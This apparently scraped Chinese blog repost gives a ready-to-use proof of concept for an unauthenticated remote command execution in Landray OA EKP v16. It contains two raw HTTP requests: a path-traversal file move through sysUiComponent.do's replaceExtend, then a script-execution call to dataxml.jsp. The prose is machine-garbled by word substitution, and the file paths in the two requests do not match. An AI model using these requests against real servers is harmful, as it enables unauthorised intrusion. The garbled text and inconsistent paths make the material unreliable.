[毛病复现]蓝凌OA共同文件移动实现前台RCE

假如以为该文章有资助的，贫苦师傅们可以搜索下微信公众号：良月安全。点个关注，感谢师傅们的支持。
原文有很多师傅已经搬过了，我这里放一个链接：某凌 EKP 前台远程命令执行毛病分析 - 先知社区 (aliyun.com)
简朴来说就是通过sysUiComponent接口的replaceExtend把后台命令执行所在文件dataxml.jsp移动至到前台从而实现前台命令执行。

毛病简介

蓝凌OA是由深圳市蓝凌软件股份有限公司开发，是一款针对中小企业的移动化智能办公产物 ，融合了钉钉数字化能力与蓝凌多年OA产物与服务经验，能全面满足企业日常办公在线、企业文化在线、客户管理在线、人事服务在线、行政务服务在线等需求。攻击者可从前台RCE获取服务器权限。
影响版本：v16

毛病复现

文件移动poc

1. POST /sys/ui/sys_ui_component/sysUiComponent.do HTTP/1.1
2. Host: xx.xx.xx.xx
3. Accept: application/json, text/javascript, */*; q=0.01
4. Accept-Encoding: gzip, deflate
5. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
6. Connection: close
7. Content-Length: 401
8. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
9. Origin: http://www.baidu.com
10. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
11. X-Requested-With: XMLHttpRequest
13. ------WebKitFormBoundaryL7ILSpOdIhIIvL51
14. Content-Disposition: form-data; name="method"
16. replaceExtend
17. ------WebKitFormBoundaryL7ILSpOdIhIIvL51
18. Content-Disposition: form-data; name="extendId"
20. ../../../../resource/help/km/review/
21. ------WebKitFormBoundaryL7ILSpOdIhIIvL51
22. Content-Disposition: form-data; name="folderName"
24. ../../../ekp/sys/common
25. ------WebKitFormBoundaryL7ILSpOdIhIIvL51--

复制代码

dataxml.jsp利用就是老样子

1. POST /resource/help/kms/knowledge/dataxml.jsp HTTP/1.1
2. Host: xx.xx.xx.xx
3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
4. Connection: close
5. Content-Length: 17392
6. Content-Type: application/x-www-form-urlencoded
8. s_bean=ruleFormulaValidate&script=shell&returnType=int&modelName=test

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。